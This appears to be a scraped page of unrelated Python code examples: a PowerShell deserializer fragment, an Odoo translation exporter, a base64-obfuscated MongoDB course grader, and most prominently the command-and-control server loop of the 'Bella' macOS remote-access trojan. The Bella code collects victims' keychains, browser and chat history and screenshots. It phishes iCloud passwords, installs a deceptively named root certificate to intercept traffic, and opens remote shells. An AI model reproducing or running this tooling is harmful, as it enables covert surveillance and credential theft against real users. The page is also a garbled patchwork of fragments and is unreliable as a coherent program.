        if unpack_function is not None:
            return unpack_function(element)

        # not a primitive object, so try and decode the complex object
        if type(metadata) == ObjectMeta and metadata.object is None:
            structures = {
                "Selected.Microsoft.PowerShell.Commands.GenericMeasureInfo":
                    ObjectMeta("Obj", object=CommandMetadataCount),
                "System.Array": ListMeta(),
                "System.Collections.ArrayList": ListMeta(),
                "System.Collections.Hashtable": DictionaryMeta(),
                "System.Collections.Generic.List": ListMeta(),
                "System.Collections.Queue": QueueMeta(),
                "System.Collections.Stack": StackMeta(),
                "System.ConsoleColor": ObjectMeta("Obj", object=Color),
                "System.Management.Automation.CommandOrigin":
                    ObjectMeta("Obj", object=CommandOrigin),
                "System.Management.Automation.DebugRecord":
                    ObjectMeta("Obj", object=DebugRecord),
                "System.Management.Automation.ErrorRecord":
                    ObjectMeta("Obj", object=ErrorRecord),
                "System.Management.Automation.Host.Coordinates":
                    ObjectMeta("Obj", object=Coordinates),
                "System.Management.Automation.Host.KeyInfo":
                    ObjectMeta("Obj", object=KeyInfoDotNet),
                "System.Management.Automation.Host.Size":
                    ObjectMeta("Obj", object=Size),
                "System.Management.Automation.InformationalRecord":
                    ObjectMeta("Obj", object=InformationalRecord),
                "System.Management.Automation.InformationRecord":
                    ObjectMeta("Obj", object=InformationRecord),
                "System.Management.Automation.ParameterMetadata":
                    ObjectMeta("Obj", object=ParameterMetadata),
                "System.Management.Automation.ProgressRecordType":
                    ObjectMeta("Obj", object=ProgressRecordType),
                "System.Management.Automation.PSBoundParametersDictionary":
                    DictionaryMeta(),
                "System.Management.Automation.PSCredential":
                    ObjectMeta("Obj", object=PSCredential),
                "System.Management.Automation.PSObject":
                    ObjectMeta("ObjDynamic", object=GenericComplexObject),
                "System.Management.Automation.PSPrimitiveDictionary":
                    DictionaryMeta(),
                "System.Management.Automation.PSTypeName": ObjectMeta("S"),
                "System.Management.Automation.Remoting.RemoteHostMethodId":
                    ObjectMeta("Obj", object=HostMethodIdentifier),
                "System.Management.Automation.Runspaces.ApartmentState":
                    ObjectMeta("Obj", object=ApartmentState),
                "System.Management.Automation.Runspaces.PipelineResultTypes":
                    ObjectMeta("Obj", object=PipelineResultTypes),
                "System.Management.Automation.Runspaces.PSThreadOptions":
                    ObjectMeta("Obj", object=PSThreadOptions),
                "System.Management.Automation.Runspaces.RemoteStreamOptions":
                    ObjectMeta("Obj", object=RemoteStreamOptions),
                "System.Management.Automation.SessionStateEntryVisibility":
                    ObjectMeta("Obj", object=SessionStateEntryVisibility),
                "System.Management.Automation.VerboseRecord":
                    ObjectMeta("Obj", object=VerboseRecord),
                "System.Management.Automation.WarningRecord":
                    ObjectMeta("Obj", object=WarningRecord),
                "System.Globalization.CultureInfo":
                    ObjectMeta("Obj", object=CultureInfo),

                # Fallback to the GenericComplexObject
                "System.Object":
                    ObjectMeta("ObjDynamic", object=GenericComplexObject),

                # Primitive types
                "System.String": ObjectMeta("S"),
                "System.Char": ObjectMeta("C"),
                "System.Boolean": ObjectMeta("B"),
                "System.DateTime": ObjectMeta("DT"),
                # None: ObjectMeta("TS"), # duration timespan
                "System.Byte": ObjectMeta("By"),
                "System.SByte": ObjectMeta("SB"),
                "System.UInt16": ObjectMeta("U16"),
                "System.Int16": ObjectMeta("I16"),
                "System.UInt32": ObjectMeta("U32"),
                "System.Int32": ObjectMeta("I32"),
                "System.UInt64": ObjectMeta("U64"),
                "System.Int64": ObjectMeta("I64"),
                "System.Single": ObjectMeta("Sg"),
                "System.Double": ObjectMeta("Db"),
                "System.Decimal": ObjectMeta("D"),
                # None: ObjectMeta("BA"), # Byte array base64 encoded
                "System.Guid": ObjectMeta("G"),
                "System.Uri": ObjectMeta("URI"),
                "System.Version": ObjectMeta("Version"),
                "System.Xml.XmlDocument": ObjectMeta("XD"),
                "System.Management.Automation.ScriptBlock": ObjectMeta("SBK"),
                "System.Security.SecureString": ObjectMeta("SS"),
            }

            # fallback to GenericComplexObject if no types were defined
            if metadata.tag == "Obj" and len(obj_types) == 0:
                obj_types = ["System.Object"]

            metadata = None
            for obj_type in obj_types:
                if obj_type.startswith("Deserialized.System."):
                    obj_type = obj_type[13:]

                is_list = False
                if obj_type.endswith("[]"):
                    obj_type = obj_type[0:-2]
                    is_list = True
                elif obj_type.startswith("System.Collections."
                                         "Generic.List`1[["):
                    list_info = obj_type[35:-1]
                    obj_type = list_info.split(",")[0]
                    is_list = True
                elif obj_type.startswith("System.Collections.ObjectModel."
                                         "Collection`1[["):
                    list_info = obj_type[45:-1]
                    obj_type = list_info.split(",")[0]
                    is_list = True
                elif obj_type.startswith("System.Collections.ObjectModel."
                                         "ReadOnlyCollection`1[["):
                    list_info = obj_type[53:-1]
                    obj_type = list_info.split(",")[0]
                    is_list = True
                elif obj_type.startswith("System.Collections.Generic."
                                         "Dictionary`2[["):
                    dict_meta = obj_type[41:-2].split("],[")
                    key_type = structures.get(dict_meta[0].split(",")[0],
                                              ObjectMeta())
                    value_type = structures.get(dict_meta[1].split(",")[0],
                                                ObjectMeta())
                    metadata = DictionaryMeta(dict_key_meta=key_type,
                                              dict_value_meta=value_type)
                    break

                obj_meta = structures.get(obj_type)
                if obj_meta is not None:
                    metadata = obj_meta
                    if is_list:
                        metadata = ListMeta(list_value_meta=metadata)
                    break

        # we were unable to find the complex object type so just return the
        # element
        if metadata is None:
            obj = element_string
        elif metadata.tag == "Obj":
            obj = self._deserialize_obj(element, metadata)
        elif metadata.tag == "ObjDynamic":
            obj = self._deserialize_dynamic_obj(element, metadata)
        elif metadata.tag == "LST":
            obj = self._deserialize_lst(element, metadata)
        elif metadata.tag == "QUE":
            obj = self._deserialize_que(element)
        elif metadata.tag == "STK":
            obj = self._deserialize_stk(element)
        elif metadata.tag == "DCT":
            obj = self._deserialize_dct(element)
        else:
            log.warning("Unknown metadata tag type '%s', failed to "
                        "deserialize object" % metadata.tag)
            obj = element_string

        if element.tag == "Obj":
            self.obj[element.attrib['RefId']] = obj

        if isinstance(obj, ComplexObject):
            obj._xml = element_string

        return obj
def b64_to_hex(data: str) -> str:
    return binascii.hexlify(base64.b64decode(data)).decode('utf-8')
示例#56
0
def export_terms(modules, addons_path, db, username, password):
    """ generate all .pot files

    WARNING check release.py version info or can be corrected with
    $ sed -i 's/Odoo Server 9.0alpha1/Odoo Server 9.0/g' addons/*/i18n/*.pot

    could also be useful to remove "empty" changes
    $ git status --short | grep '.pot' | sed 's/^ M *//' | xargs -I {} bash -c 'if test `git diff {} | grep "^+" | grep -v "^+++\|^+#\|POT-Creation-Date\|PO-Revision-Date" | wc -l` -eq 0; then git checkout -- {}; fi'
    """

    common = xmlrpclib.ServerProxy('{}/xmlrpc/2/common'.format(url))
    uid = common.authenticate(db, username, password, {})
    print("Logged in as %s (uid: %d)" % (username, uid))

    models = xmlrpclib.ServerProxy('{}/xmlrpc/2/object'.format(url))

    modules = models.execute_kw(db, uid, password, 'ir.module.module',
                                'search_read', [[
                                    ('state', '=', 'installed'),
                                    ('name', 'in', modules),
                                ], ['name']])

    for module in modules:
        m_id = module['id']
        m_name = module['name']
        print("Export module %s" % m_name)
        export_id = models.execute_kw(db, uid, password,
                                      'base.language.export', 'create',
                                      [{
                                          'lang': '__new__',
                                          'format': 'po',
                                          'modules': [[6, False, [m_id]]],
                                          'state': 'choose',
                                      }])
        models.execute_kw(db, uid, password, 'base.language.export',
                          'act_getfile', [[export_id]])
        data = models.execute_kw(db, uid, password, 'base.language.export',
                                 'read', [[export_id], ['data'], {
                                     'bin_size': False
                                 }])

        # content = data[0]['data'].data.decode('base64')
        content = data[0]['data']
        content = base64.b64decode(content)

        # xmlrpc_data = data[0]['data']
        # if isinstance(xmlrpc_data, xmlrpclib.Binary):
        #     content = xmlrpc_data.decode('utf-8')
        # else:
        #     content = xmlrpc_data.decode('base64')
        if m_name == 'base':
            for base_path in BASE_MODULE_PATH:
                if os.path.exists(base_path):
                    pot_path = base_path
                    break
        else:
            pot_path = os.path.join(addons_path, m_name, 'i18n')
        if not os.path.exists(pot_path):
            os.mkdir(pot_path)
        filepath = os.path.join(pot_path, m_name + '.pot')

        with open(filepath, 'wb') as f:
            f.write(content)
示例#57
0
 def decode_caf(self):
     post = base64.b64decode(self.caf_file).decode('ISO-8859-1')
     post = xmltodict.parse(post.replace('<?xml version="1.0"?>', '', 1))
     return post
示例#58
0
def main():
    serverisRoot = False
    ctrlC = False
    active = False
    first_run = True
    cc_version = '1.21'
    logpath = 'Logs/'
    helperpath = os.getcwd() + '/'
    client_log_path = ''
    client_name = ''
    clients = []
    connections = []
    subprocess_list = []
    global file_list
    file_list = commands
    computername = ''
    activate = 0
    columns = row_set()
    if not os.path.isfile("%sserver.key" % helperpath):
        print '\033[91mGENERATING CERTIFICATES TO ENCRYPT THE SOCKET.\033[0m\n\n'
        os.system(
            'openssl req -x509 -nodes -days 365 -subj "/C=US/ST=Bella/L=Bella/O=Bella/CN=bella" -newkey rsa:2048 -keyout %sserver.key -out %sserver.crt'
            % (helperpath, helperpath))
    clear()
    port = 4545
    interactive_shell_port = 3818
    print '%s%s%s%s' % (purple, bold,
                        'Listening for clients over port [%s]'.center(
                            columns, ' ') % port, endC)

    sys.stdout.write(blue + bold)
    for i in progressbar(range(48), '\t     ', columns - 28):
        time.sleep(0.05)
    sys.stdout.write(endC)
    colors = [blue, green, yellow]
    random.shuffle(colors)

    binder = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    binder.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    binder.bind(('', port))
    binder.listen(128)  #max number of connections macOS can handle

    while True:
        columns = row_set()
        try:
            #c.settimeout(4)
            try:
                #wrap before we accept
                #to generate certs: openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout server.key -out server.crt
                sock, accept = ssl.wrap_socket(
                    binder,
                    ssl_version=ssl.PROTOCOL_TLSv1,
                    cert_reqs=ssl.CERT_NONE,
                    server_side=True,
                    keyfile='%sserver.key' % helperpath,
                    certfile='%sserver.crt' % helperpath).accept()
            except socket.timeout:
                continue
            except IOError as e:
                if e.errno == 2:
                    print 'You must generate SSL certificates to encrypt the socket.'
                    os.remove(
                        '%sserver.key' % helperpath
                    )  #openssl will create this empty, so remove junk
                    exit()
                print e
                raise e

            if (accept):
                sock.settimeout(None)
                connections += [sock]
                clients += [accept]
            clear()  #see how many more we can accept, clear
            print "%s%s%s%s\n" % (purple, bold, 'Found clients!'.center(
                columns, ' '), endC)
            if len(clients) > 0:
                dater = []
                colorIndex = 0
                for j in range(0, len(clients)):
                    if colorIndex == len(colors):
                        colorIndex = 0
                    try:
                        send_msg(
                            connections[j], 'get_client_info'
                        )  #we do this because this section of this program doesnt understand the EOF construct / tuple serialization
                        message = recv_msg(connections[j])
                        dater.append(message)
                    except socket.error as e:
                        connections = []
                        clients = []
                        break
                    print '%s%s%s%s' % (colors[colorIndex], bold,
                                        ('[%s] %s, %s' %
                                         ((j + 1), dater[j][0], clients[j][0])
                                         ).center(columns, ' '), endC)
                    colorIndex += 1
                    print yellow + ("_" *
                                    (columns - 30)).center(columns, ' ') + endC

        except KeyboardInterrupt:
            clear()
            if len(clients) > 0:
                print "%s%s%s%s\n" % (
                    purple, bold, 'Enter ID to initiate connection:'.center(
                        columns, ' '), endC)
                colorIndex = 0
                for j in range(0, len(clients)):
                    if colorIndex == len(colors):
                        colorIndex = 0
                    print '%s%s%s%s' % (colors[colorIndex], bold,
                                        ('[%s] %s, %s' %
                                         ((j + 1), dater[j][0], clients[j][0])
                                         ).center(columns, ' '), endC)
                    colorIndex += 1
                    print yellow + ("_" *
                                    (columns - 30)).center(columns, ' ') + endC
            while True:
                try:
                    activate = input()
                    try:
                        clients[activate - 1][0]
                    except IndexError:
                        print "Client [%s] does not exist. Try again." % activate
                        continue
                    break
                except SyntaxError, e:
                    print "Enter a client number."
                    continue

            clear()
            if activate == 0:
                subprocess_cleanup(subprocess_list)
                print 'Exiting...'
                exit()
            activate -= 1  #so array doesnt get thrown off
            ipadrr = clients[activate][0]
            active = True
            for i, x in enumerate(clients):
                if i != activate:
                    #print 'Rejecting Connection from [%s, %s]' % clients[i]
                    connections[i].close()
            print '%sAccepting%s Connection from [%s%s%s] at [%s%s%s]' % (
                yellow, endC, yellow, dater[i][0].split("->")[0], endC, yellow,
                clients[i][0], endC)
            send_msg(connections[activate], 'initializeSocket')
            first_run = True
            now = datetime.datetime.now()

        next_msg_is_fxn_data = (False, '')
        fxn_headers = [
            'C5EBDE1F', 'downloader', 'keychain_download', '6E87CF0B'
        ]

        while active:
            try:
                columns = row_set()
                if ctrlC:
                    if process_running:
                        send_msg(
                            connections[activate], 'sigint9kill'
                        )  #this will kill their blocking program, reset our data
                        while 1:
                            try:
                                x = recv_msg(connections[activate])
                                if x:
                                    if x[0] == 'terminated':
                                        break
                                    if 'sigint9kill' in x[
                                            0]:  #will handle double loop backs
                                        break
                                continue
                            except KeyboardInterrupt:
                                continue
                    data = '\n'
                    ctrlC = False
                else:
                    if next_msg_is_fxn_data[0]:
                        (data, isFinished) = recv_msg(connections[activate],
                                                      True)
                        data = ''.join((next_msg_is_fxn_data[1], data))
                        next_msg_is_fxn_data = (False, '')
                    else:
                        (data, isFinished) = recv_msg(connections[activate],
                                                      False)
                        if not isFinished:
                            if data in fxn_headers:  #chat_history
                                next_msg_is_fxn_data = (True, data
                                                        )  #function too :D
                                continue
                            else:
                                print data,  #print it and continue
                                string_log(data, client_log_path, client_name)
                                continue  #just go back to top and keep receiving
                nextcmd = ''
                process_running = False

                if type(data) == type(None):
                    active = False
                    print "\n%s%sLost connection to server.%s" % (red, bold,
                                                                  endC)

                if first_run == True:
                    is_server_rooted = False
                    if data == 'payload_request_SBJ129':
                        print 'Payloads requested. Sending payloads...'
                        with open('Payloads/payloads.txt', 'rb') as content:
                            payloads = content.read()
                        nextcmd = 'payload_response_SBJ29:::%s' % payloads
                        workingdir, client_name, computername, client_log_path = (
                            '', ) * 4

                    elif not data.splitlines()[0].startswith(
                            "bareNeccesities"):
                        basicInfo = data.splitlines()
                        if basicInfo[0] == 'ROOTED':
                            is_server_rooted = True
                            basicInfo.remove('ROOTED')
                        computername = basicInfo[0]  #hostname via scutil
                        client_name = basicInfo[1]  #username via whoami
                        workingdir = basicInfo[2]  #cwd via pwd
                        last_login = basicInfo[3]  #last login read via DB
                        uptime = basicInfo[4]  #bella uptime
                        client_log_path = "%s%s/%s/" % (logpath, computername,
                                                        client_name)
                        if not os.path.exists(client_log_path):
                            os.makedirs(client_log_path)
                        first_run = False
                        print 'Last Connected: %s -- %s' % (last_login, uptime)
                    else:
                        computername = data.splitlines()[
                            1]  #hostname via scutil
                        client_name = data.splitlines()[
                            2]  #username via whoami
                        workingdir = data.splitlines()[3]  #cwd via pwd
                        client_log_path = "%s%s/%s/" % (logpath, computername,
                                                        client_name)
                        if not os.path.exists(client_log_path):
                            os.makedirs(client_log_path)
                        first_run = False

                elif data.startswith('cwdcwd'):
                    sdoof = data.splitlines()
                    workingdir = sdoof[0][6:]
                    file_list = sdoof[1:] + commands
                    string_log(workingdir + '\n', client_log_path, client_name)

                elif data.startswith('downloader'):
                    (fileContent,
                     file_name) = data[10:].split('dl_delimiter_x22x32')
                    downloader(fileContent, file_name, client_log_path,
                               client_name)

                elif data.startswith("mitmReady"):
                    os.system("osascript >/dev/null <<EOF\n\
                            tell application \"Terminal\"\n\
                            do script \"mitmproxy -p 8081 --cadir %s\"\n\
                            end tell\n\
                            EOF" % (helperpath + 'MITM'))
                    print 'MITM-ing. RUN mitm_kill AFTER YOU CLOSE MITMPROXY OR THE CLIENT\'S INTERNET WILL NOT WORK.'

                elif data.startswith('keychain_download'):
                    keychains = pickle.loads(data[17:])
                    for x in keychains:
                        (keychainName, keychainData) = pickle.loads(
                            x)  #[keychainName, keychainData]
                        downloader(keychainData, keychainName, client_log_path,
                                   client_name, 'Keychains')

                elif data.startswith('interactive_shell_init'):
                    while socat_PID.poll() == None:  #it is alive
                        time.sleep(1)  #just wait a bit, check again.
                    print '%sInteractive shell closed. Welcome back to Bella.' % bluePlus

                elif data.startswith('appleIDPhishHelp'):
                    content = pickle.loads(data[16:])
                    if len(content[0]) > 0:
                        print "%sFound the following iCloud accounts.\n%s\nWhich would you like to use to phish current GUI user [%s]?" % (
                            bluePlus, content[0], content[1])
                        appleID = content[0].split(' Apple ID: [')[1][:-2]
                    else:
                        print "%sCouldn't find any iCloud accounts.\nEnter one manually to phish current GUI user [%s]" % (
                            bluePlus, content[1])
                        appleID = ''
                    username = raw_input(
                        "Enter iCloud Account [press enter to use %s]: " %
                        appleID) or appleID
                    if username == '':
                        print 'No username specified, cancelling Phish'
                        nextcmd = ''
                    else:
                        print "Phishing [%s%s%s]" % (blue, username, endC)
                        nextcmd = "iCloudPhishFinal%s:%s" % (username,
                                                             content[1])

                elif data.startswith('screenCapture'):
                    screen = data[13:]
                    if screen == "error":
                        print "%sError capturing screenshot!" % redX
                    else:
                        fancyTime = time.strftime("_%m-%d_%H_%M_%S")
                        os.system("mkdir -p %sScreenshots" % client_log_path)
                        with open(
                                "%sScreenshots/screenShot%s.png" %
                            (client_log_path, fancyTime), "w") as shot:
                            shot.write(base64.b64decode(screen))
                        time.sleep(1)
                        print "%sGot screenshot [%s]" % (greenCheck, fancyTime)

                elif data.startswith('C5EBDE1F'):
                    deserialize = data[8:].split('C5EBDE1F_tuple')
                    for x in deserialize:
                        (name, data) = x.split(
                            'C5EBDE1F'
                        )  #name will be the user, which we're going to want on the path
                        downloader(
                            data, 'ChatHistory_%s.db' %
                            time.strftime("%m-%d_%H_%M_%S"), client_log_path,
                            client_name, 'Chat/%s' % name)
                    print "%sGot macOS Chat History" % greenCheck

                elif data.startswith('6E87CF0B'):
                    deserialize = data[8:].split('6E87CF0B_tuple')
                    for x in deserialize:
                        (name, data) = x.split(
                            '6E87CF0B'
                        )  #name will be the user, which we're going to want on the path
                        downloader(
                            bz2.decompress(data),
                            'history_%s.txt' % time.strftime("%m-%d_%H_%M_%S"),
                            client_log_path, client_name, 'Safari/%s' % name)
                    print "%sGot Safari History" % greenCheck

                elif data.startswith('lserlser'):
                    (rawfile_list, filePrint) = pickle.loads(data[8:])
                    widths = [max(map(len, col)) for col in zip(*filePrint)]
                    for fileItem in filePrint:
                        line = "  ".join(
                            (val.ljust(width)
                             for val, width in zip(fileItem, widths)
                             ))  #does pretty print
                        print line
                        string_log(line, client_log_path, client_name)

                elif data.startswith('updated_client_name'):
                    old_computer_name = computername
                    computername = data.split(":::")[1]
                    print 'Moving [%s%s] to [%s%s]' % (
                        logpath, old_computer_name, logpath, computername)
                    os.rename("%s%s" % (logpath, old_computer_name),
                              "%s%s" % (logpath, computername))
                    client_log_path = "%s%s/%s/" % (logpath, computername,
                                                    client_name)
                    print data.split(":::")[2],
                    string_log(data, client_log_path, client_name)

                else:
                    if len(data) == 0:
                        sys.stdout.write('')
                    else:
                        print data,
                    string_log(data, client_log_path, client_name)
                """Anything above this comment is what the server is sending us."""
                #################################################################
                """Anything below this comment is what we are sending the server."""

                if data.startswith('Exit') == True:
                    active = False
                    subprocess_cleanup(subprocess_list)
                    print "\n%s%sGoodbye.%s" % (blue, bold, endC)
                    exit()
                else:
                    if is_server_rooted:
                        client_name_formatted = "%s%s@%s%s" % (
                            red, client_name, computername, endC)
                    else:
                        client_name_formatted = "%s%s@%s%s" % (
                            green, client_name, computername, endC)

                    if workingdir.startswith("/Users/" + client_name.lower(
                    )) or workingdir.startswith("/Users/" + client_name):
                        pathlen = 7 + len(
                            client_name)  #where 7 is our length of /Users/
                        workingdir = "~" + workingdir[
                            pathlen:]  #change working dir to ~[/users/name:restofpath] (in that range)

                    workingdirFormatted = blue + workingdir + endC
                    if platform.system() == 'Linux':
                        readline.parse_and_bind("tab: complete")
                        readline.set_completer(tab_parser)
                    else:
                        if 'libedit' in readline.__doc__:
                            readline.parse_and_bind("bind ^I rl_complete")
                            readline.set_completer(tab_parser)
                        else:
                            readline.parse_and_bind("tab: complete")
                            readline.set_completer(tab_parser)

                    if nextcmd == "":
                        try:
                            nextcmd = raw_input(
                                "[%s]-[%s] " %
                                (client_name_formatted, workingdirFormatted))
                            string_log(
                                "[%s]-[%s] %s" %
                                (client_name, workingdirFormatted, nextcmd),
                                client_log_path, client_name)
                        except Exception, e:
                            nextcmd = "exit"
                    else:
                        pass

                    if nextcmd == "removeserver_yes":
                        verify = raw_input(
                            "Are you sure you want to delete [%s]?\n🦑  This cannot be un-done. (Y/n): "
                            % computername)
                        if verify.lower() == "y":
                            print "%s%sRemote server is being removed and permanently deleted.%s" % (
                                red, bold, endC)
                            nextcmd = "removeserver_yes"
                            print "%s%sDestruct routine successfully sent. Server is destroyed.%s" % (
                                red, bold, endC)
                        else:
                            print "Not deleting server."
                            nextcmd = ""

                    if nextcmd == "interactive_shell":
                        if platform.system() == 'Linux':
                            print 'This function is not yet available for Linux systems.'
                        else:
                            print "%sStarting interactive shell over port [%s].\n%sPress CTRL-D *TWICE* to close.\n%sPre-built Bella functions will not work in this shell.\n%sUse this shell to run commands such as sudo, nano, telnet, ftp, etc." % (
                                bluePlus, interactive_shell_port, bluePlus,
                                yellow_star, bluePlus)
                            socat_PID = subprocess.Popen(
                                "socat -s `tty`,raw,echo=0 tcp-listen:%s" %
                                interactive_shell_port,
                                shell=True)  #start listener
                            time.sleep(.5)
                            if socat_PID.poll():
                                print "%sYou need to install 'socat' on your Control Center to use this feature.\n" % redX
                                nextcmd = ""
                            else:
                                nextcmd = "interactive_shell:::%s" % interactive_shell_port

                    if nextcmd == "cls":
                        file_list = commands
                        nextcmd = ""

                    if nextcmd == "bella_version":
                        print "%sControl Center Version:%s %s" % (
                            underline, endC, cc_version)

                    if nextcmd == ("mitm_start"):
                        try:
                            import mitmproxy
                        except ImportError:
                            print 'You need to install the python library "mitmproxy" to use this function.'
                            nextcmd = ''
                        if not os.path.isdir('MITM'):
                            os.mkdir('MITM')
                        if not os.path.isfile("%sMITM/mitm.crt" % helperpath):
                            print "%sNo local Certificate Authority found.\nThis is necessary to decrypt TLS/SSL traffic.\nFollow the steps below to generate the certificates.%s\n\n" % (
                                red, endC)
                            os.system("openssl genrsa -out mitm.key 2048")
                            print "%s\n\nYou can put any information here. Common Name is what will show up in the Keychain, so you may want to make this a believable name (IE 'Apple Security').%s\n\n" % (
                                red, endC)
                            os.system(
                                "openssl req -new -x509 -key mitm.key -out mitm.crt"
                            )
                            os.system(
                                "cat mitm.key mitm.crt > mitmproxy-ca.pem")
                            os.remove("mitm.key")
                            os.system("mv mitm.crt MITM/")
                            os.system(
                                "mv mitmproxy-ca.pem MITM/mitmproxy-ca.pem")
                            #mitm.crt is the cert we will install on remote client.
                            #mitmproxy-ca.pem is for mitmproxy
                            print '%sGenerated all certs. Sending over to client.%s' % (
                                green, endC)
                        with open('%sMITM/mitm.crt' % helperpath,
                                  'r') as content:
                            cert = content.read()
                        print 'Found the following certificate:'
                        for x in subprocess.check_output(
                                "keytool -printcert -file %sMITM/mitm.crt" %
                                helperpath,
                                shell=True).splitlines():
                            if 'Issuer: ' in x:
                                print "%s%s%s" % (lightBlue, x, endC)
                        new_cert = raw_input(
                            "Would you like to generate a new certificate? (y/n): "
                        )
                        if new_cert.lower() == 'y':
                            print "%sNo local Certificate Authority found.\nThis is necessary to decrypt TLS/SSL traffic.\nFollow the steps below to generate the certificates.%s\n\n" % (
                                red, endC)
                            os.system("openssl genrsa -out mitm.key 2048")
                            print "%s\n\nYou can put any information here. Common Name is what will show up in the Keychain, so you may want to make this a believable name (IE 'Apple Security').%s\n\n" % (
                                red, endC)
                            os.system(
                                "openssl req -new -x509 -key mitm.key -out mitm.crt"
                            )
                            os.system(
                                "cat mitm.key mitm.crt > mitmproxy-ca.pem")
                            os.remove("mitm.key")
                            os.system("mv mitm.crt MITM/")
                            os.system(
                                "mv mitmproxy-ca.pem MITM/mitmproxy-ca.pem")
                        interface = raw_input(
                            "🚀  Specify an interface to MITM [Press enter for Wi-Fi]: "
                        ).replace("[", "").replace("]", "") or "Wi-Fi"
                        nextcmd = "mitm_start:::%s:::%s" % (interface, cert)

                    if nextcmd == ("mitm_kill"):
                        for x in subprocess.check_output(
                                "keytool -printcert -file %sMITM/mitm.crt" %
                                helperpath,
                                shell=True).splitlines():
                            if 'SHA1: ' in x:
                                certsha = ''.join(x.split(':')[1:]).replace(
                                    ' ', '')
                                break
                            certsha = False
                        if not certsha:
                            print 'Could not find certificate to delete. You may see some warnings.'
                        interface = raw_input(
                            "🎯  Specify an interface to stop MITM [Press enter for Wi-Fi]: "
                        ).replace("[", "").replace("]", "") or "Wi-Fi"
                        nextcmd = "mitm_kill:::%s:::%s" % (interface, certsha)

                    if nextcmd == "clear":
                        clear()
                        nextcmd = "printf ''"

                    if nextcmd == "restart":
                        nextcmd = "osascript -e 'tell application \"System Events\" to restart'"

                    if nextcmd == "update_db_entry":
                        db_entries = ['iCloud Password', 'User Password']
                        db_dict = ['applePass', 'localPass']
                        for i, x in enumerate(db_entries):
                            print "[%s%s%s] %s" % (red, i + 1, endC, x)
                        while 1:
                            try:
                                entry = input(
                                    'Which entry would you like to update or delete? Enter a number: '
                                )
                            except SyntaxError, EOFError:
                                continue
                            try:
                                db_field = db_dict[entry - 1]
                                if entry == 1:  #iCloud Password
                                    user = raw_input(
                                        "Enter an iCloud username [just press enter to delete iCloud password]: "
                                    )
                                    if not user:
                                        passw = ''
                                    else:
                                        passw = raw_input(
                                            "Enter an iCloud password: "******"Enter a computer username [just press enter to delete user password]: "
                                    )
                                    if not user:
                                        passw = ''
                                    else:
                                        passw = raw_input(
                                            "Enter a password for %s: " % user)
                                db_value = "%s:%s" % (user, passw)
                                nextcmd = 'update_db_entry:::%s:::%s' % (
                                    db_field, db_value)
                                break
                            except IndexError as e:
                                print 'Please enter one the above numbers.'
                                continue
示例#59
0
import base64

# please don't decode this program. It's a violation of the honor code.
code="CmltcG9ydCBweW1vbmdvCmltcG9ydCByYW5kb20KaW1wb3J0IHJlCmltcG9ydCBzdHJpbmcKaW1wb3J0IHN5cwppbXBvcnQgZ2V0b3B0CmltcG9ydCBwcHJpbnQKCiMgQ29weXJpZ2h0IDIwMTIKIyAxMGdlbiwgSW5jLgojIEF1dGhvcjogQW5kcmV3IEVybGljaHNvbiAgIGFqZUAxMGdlbi5jb20KIwojIElmIHlvdSBhcmUgYSBzdHVkZW50IGFuZCByZWFkaW5nIHRoaXMgY29kZSwgdHVybiBiYWNrIG5vdywgYmVmb3JlCiMgdGhlIE1vbmdvREIgZ29kcyBzbWl0ZSB5b3UuCgpjb25uZWN0aW9uID0gTm9uZQpkYiA9IE5vbmUKbW9uZ29zdHIgPSAibW9uZ29kYjovL2xvY2FsaG9zdDoyNzAxNyIKZGJfbmFtZSA9ICJhZG1pbiIKcnNfbmFtZSA9ICJtMTAxIgoKIyB0aGlzIHNjcmlwdCB3aWxsIGNoZWNrIHRoYXQgYSByZXBsaWNhIHNldCB3aXRoIHRocmVlIG5vZGVzIGlzIHJ1bm5pbmcgb24gYSBob3N0CgojIGNvbW1hbmQgbGluZSBhcmcgcGFyc2luZyB0byBtYWtlIGZvbGtzIGhhcHB5IHdobyB3YW50IHRvIHJ1biBhdCBtb25nb2xhYnMgb3IgbW9uZ29ocQojIHRoaXMgZnVuY3Rpb25zIHVzZXMgZ2xvYmFsIHZhcnMgdG8gY29tbXVuaWNhdGUuIGZvcmdpdmUgbWUuCmRlZiBhcmdfcGFyc2luZyhhcmd2KToKCiAgICBnbG9iYWwgd2ViaG9zdAogICAgZ2xvYmFsIG1vbmdvc3RyCiAgICBnbG9iYWwgZGJfbmFtZQoKICAgIHRyeToKICAgICAgICBvcHRzLCBhcmdzID0gZ2V0b3B0LmdldG9wdChhcmd2LCAiLXA6LW06LWQ6IikKICAgIGV4Y2VwdCBnZXRvcHQuR2V0b3B0RXJyb3I6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A9IGRiLnN5c3RlbS5yZXBsc2V0CiAgICByZXR1cm4gY29sbC5maW5kX29uZSgpCgpkZWYgcmVwbF9zZXRfcnVubmluZyhudW1fbm9kZXMpOgoKICAgIHRyeToKICAgICAgICBycyA9IGdldF9yc19zdGF0dXMoKQogICAgICAgIGNvbmYgPSBnZXRfcnNfY29uZmlndXJhdGlvbigpCiAgICAgICAgaG9zdHMgID0gY29ubmVjdGlvbi5ob3N0cwogICAgZXhjZXB0OgogICAgICAgIHByaW50ICJjYW4ndCBxdWVyeSBNb25nb0RCLi5pcyBpdCBydW5uaW5nPyIKICAgICAgICByYWlzZQogICAgICAgIHJldHVybiBGYWxzZQoKICAgIGlmIChyc1snb2snXSAhPSAxKToKICAgICAgICBwcmludCAiU29ycnksIG9rIGlzIG5vdCAxIGZvciBycy5zdGF0dXMoKSIKICAgICAgICBwcmludCAiSGVyZSBpcyB3aGF0IEkgZ2V0OiIKICAgICAgICBwcCA9IHBwcmludC5QcmV0dHlQcmludGVyKGRlcHRoPTYpCiAgICAgICAgcHAucHByaW50KHJzKQogICAgICAgIHJldHVybiBGYWxzZQoKICAgIGlmIChsZW4ocnNbJ21lbWJlcnMnXSkgIT0gbnVtX25vZGVzKToKICAgICAgICBwcmludCAiU29ycnksIHRoZXJlIG5lZWQgdG8gYmUgdGhyZWUgbWVtYmVycyBvZiB0aGUgcmVwbGljYSBzZXQuIgogICAgICAgIHByaW50ICJoZXJlIGlzIHRoZSBtZW5iZXJzIGFycmF5IEkgc2VlIgoKICAgICAgICBwcCA9IHBwcmludC5QcmV0dHlQcmludGVyKGRlcHRoPTYpCiAgICAgICAgcHAucHByaW50KHJzWydtZW1iZXJzJ10pCiAgICAgICAgcmV0dXJuIEZhbHNlCiAgICAKICAgIHByaW50ICJMb29rcyBnb29kLiBSZXBsaWNhIHNldCB3aXRoIHRocmVlIG5